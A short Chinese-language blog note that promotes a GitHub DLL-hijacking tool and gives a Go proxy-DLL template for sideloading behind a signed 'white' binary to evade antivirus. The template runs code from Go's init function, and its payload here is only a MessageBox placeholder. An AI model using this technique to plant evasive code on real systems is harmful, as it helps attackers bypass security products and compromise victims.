由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任。切勿用于未授权测试!本文主要来自日常学习记录
在日常工作中低成本,高效率的制作仍然很重要。Dll-Hijack工具用于辅助白加黑免杀,当然选择其他的工具也一样。
我们通过 APT 样本可以拿到样本,或者通过 卡饭论坛获取最新的样本,这样是不是减少了时间成本?但是有一个问题白样本 x64 的很少,大多都 x32。(效率+1)
Dll-Hijack 工具可以用于获取 DLL 的导出函数生成 GO DLL 模版亦或者 C++ DLL 模版。在使用 Go 的时候经过查询发现 Go 存在一个隐藏函数 “Init”
//在Go语言中,init函数是一个特殊的函数,它可以被定义在任何包中,且会在程序执行之前被自动调用。
//init函数的定义格式如下:
func init() {
// 函数体
}
//需要注意的是,init函数不能被显式地调用,而且没有参数和返回值。
而相对于 c++,在某种程度上可以说Go语言中的init函数和C++中的DLL_PROCESS_ATTACH事件是类似的,因为它们都在模块(在Go中可以是包,在Windows DLL中可以是模块)加载时被调用,并且可以用于执行一些初始化工作。C++ 中你也可以选择在DLLMain函数,但存在一些问题有的 DLL不会触发DLL_PROCESS_ATTACH事件
而Go init函数会在程序运行时自动被调用。(效率+1) 利用这一特性,可以定义好 DLL 的导出函数以及 Init 函数 看操作:工具使用起来也很方便
指定了样本的 DLL 后,会在当前路径下自动生成一个 DLL.txt
我们只需要粘贴到 Go 的 DLL 源码里面去即可(GitHub 版本这样的,新版本后面发上去) 整体代码
package main
import "C"
import "golang.org/x/sys/windows"
//export DllCanUnloadNow
func DllCanUnloadNow() {}
//export DllGetClassObject
func DllGetClassObject() {}
//export DllRegisterServer
func DllRegisterServer() {}
//export DllUnregisterServer
func DllUnregisterServer() {}
func init() {
//定义代码区域
windows.MessageBox(0, windows.StringToUTF16Ptr("initd"), windows.StringToUTF16Ptr("init"), 0)
}
func main() {}
编译后和白样本丢在一起测试看看
测试成功了,对于免杀的话代码可以搬运,毕竟它是白文件,免杀不需要大费周章。(效率+1)
效率提高了,免杀嘎嘎乱杀。但其实仔细思考一下白加黑并不局限于免杀这块使用,话说到这里了,自己思考一下呗,就不说了(核心技术-1)。
工具地址:https://github.com/Arks7/Dll-Hijack